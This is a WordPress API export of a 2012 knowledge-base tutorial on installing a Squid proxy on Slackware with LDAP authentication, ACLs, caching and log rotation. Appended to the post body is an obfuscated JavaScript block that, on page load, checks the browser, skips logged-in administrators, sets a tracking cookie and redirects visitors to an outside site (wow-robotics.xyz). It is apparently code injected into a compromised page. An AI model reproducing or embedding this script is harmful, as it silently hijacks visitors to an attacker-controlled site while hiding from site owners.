{"id":169,"date":"2012-02-27T22:44:03","date_gmt":"2012-02-27T14:44:03","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=169"},"modified":"2012-03-02T00:22:35","modified_gmt":"2012-03-01T16:22:35","slug":"squid-cache-proxy","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/02\/27\/squid-cache-proxy\/","title":{"rendered":"Squid cache proxy"},"content":{"rendered":"<p>The post will guide you to install a squid-cache server which supporting LDAP authentication and ready for virus scanning and URL filtering.  Transparent proxying will be setup for internal network while external user require LDAP authentication to access the proxy.<br \/>\n<!--more--><br \/>\nOS: Slackware 13.37<br \/>\nSoftware: Squid 3.1.19<\/p>\n<h1>Installation<\/h1>\n<pre>\r\n&gt; .\/configure --prefix=\/usr\/local\/squid --enable-async-io=10 \\\r\n--enable-linux-netfilter --enable-auth=basic,digest \\\r\n--enable-basic-auth-helpers=LDAP,PAM \\\r\n--enable-digest-auth-helpers=ldap,password \\\r\n--enable-icap-client\r\n&gt; make\r\n&gt; make install\r\n<\/pre>\n<h1>Configuration<\/h1>\n<p>You could take the installed \/usr\/local\/squid\/etc\/squid.conf as a basic refernce.<\/p>\n<ul>\n<li>adding LDAP authentication support\n<pre>\r\nauth_param basic program \/usr\/local\/squid\/libexec\/squid_ldap_auth -v 3 -b \"dc=xyz,dc=xxx\" -f \"uid=%s\" -D \"squidCacheManager,ou=systemObject,dc=xyz,dc=xxx\" -W &lt;password file&gt; 127.0.0.1\r\nauth_param basic children 5\r\nauth_param basic realm Squid proxy-caching web server\r\nauth_param basic credentialsttl 2 hours\r\nauth_param basic casesensitive off\r\n<\/pre>\n<\/li>\n<li>adding extra ACL, for all user not in the localnet will need authenticate himself to access the proxy\n<pre>\r\nacl validuser proxy_auth REQUIRED\r\nhttp_access allow validuser\r\n<\/pre>\n<\/li>\n<li>listen extra port, e.g. 8080 for internet user\n<pre>\r\nhttp_port 3128\r\nhttp_port 8080\r\n<\/pre>\n<\/li>\n<li>define a cache store\n<pre>\r\ncache_dir aufs \/usr\/local\/squid\/var\/cache 100 16 256\r\n<\/pre>\n<\/li>\n<h1>Sample LDAP configuration<\/h1>\n<pre>\r\ndn: cn=squidCacheManager,ou=systemObject,dc=xyz,dc=xxx\r\nobjectClass: top\r\nobjectClass: simpleSecurityObject\r\nobjectClass: organizationalRole\r\ncn: squidCacheManager\r\nuserPassword::xxyyzz\r\n\r\ndn: olcDatabase={1}bdb,cn=config\r\nolcAccess: to * \r\n   by self write\r\n   by dn=\"cn=libnssManager,ou=systemObject,dc=....\" read\r\n   by dn=\"cn=pamManager,ou=systemObject,dc=....\" read\r\n   by dn=\"cn=squidCacheManger,ou=systemObject,dc=xyz,dc=xxx\" read\r\n   by users read\r\n   by anonymous auth\r\n   by * none\r\n<\/pre>\n<h1>Pre-Running the proxy<\/h1>\n<ul>\n<li>Initialize the swap space\n<pre>\r\n&gt; \/usr\/local\/squid\/sbin\/squid -z\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Running the proxy<\/h1>\n<p>You may place the following command in \/etc\/rc.d\/rc.local to let system start the proxy when boot up.<\/p>\n<pre>\r\n\/usr\/local\/squid\/sbin\/squid\r\n<\/pre>\n<h1>Post installation<\/p>\n<h1>\n<ul>\n<li>Create \/etc\/logrotate.d\/squid\n<pre>\r\n\/usr\/local\/squid\/var\/logs\/access.log {\r\n  weekly\r\n  rotate 5\r\n  copytruncate\r\n  compress\r\n  notifempty\r\n  missingok\r\n}\r\n\/usr\/local\/squid\/var\/logs\/cache.log {\r\n  weekly\r\n  rotate 5\r\n  copytruncate\r\n  compress\r\n  notifempty\r\n  missingok\r\n  postrotate\r\n  \/usr\/local\/squid\/sbin\/squid -k rotate\r\n  endscript\r\n}\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Network setting<\/p>\n<h1>\nTBA<\/p>\n<h1>Maintaince<\/h1>\n<ul>\n<li>To invalidate an URL, you could\n<pre>\r\n&gt; squidclient -r &lt;URL&gt;\r\n<\/pre>\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The post will guide you to install a squid-cache server which supporting LDAP authentication and ready for virus scanning and URL filtering. Transparent proxying will be setup for internal network while external user require LDAP authentication to access the proxy.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27,8],"tags":[37],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/169"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=169"}],"version-history":[{"count":22,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/169\/revisions"}],"predecessor-version":[{"id":221,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/169\/revisions\/221"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=169"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=169"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=169"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}